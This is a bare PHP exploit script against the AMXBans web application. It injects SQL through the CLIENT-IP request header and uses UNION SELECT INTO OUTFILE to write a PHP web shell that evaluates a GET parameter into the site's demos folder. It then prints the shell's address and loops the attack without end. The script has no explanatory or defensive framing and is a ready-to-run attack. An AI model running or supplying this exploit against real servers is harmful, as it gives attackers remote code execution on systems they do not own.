<?php
name:
$url = 'http://10.106.236.88/amxbans/';
$text = '<?php eval($_GET[c]);?>';
$path = '/home/10.106.236.88/forum/amxbans/';
$file = 'demos/shell.php';

$postdata = http_build_query(
array(
'action' => 'insert',
'verify' => ""
)
);
$opts = array('http' =>
array(
'method' => 'POST',
'header' => "Content-type: application/x-www-form-urlencoded\r\n"
."CLIENT-IP: 0' union select '".addslashes($text)."' into outfile '".$path.$file."'#",
'content' => $postdata
)
);
$context = stream_context_create($opts);
@file_get_contents($url.'ban_details.php?bhid=-1', false, $context);
echo "Check: ".$url.$file."\n";
goto name;
?>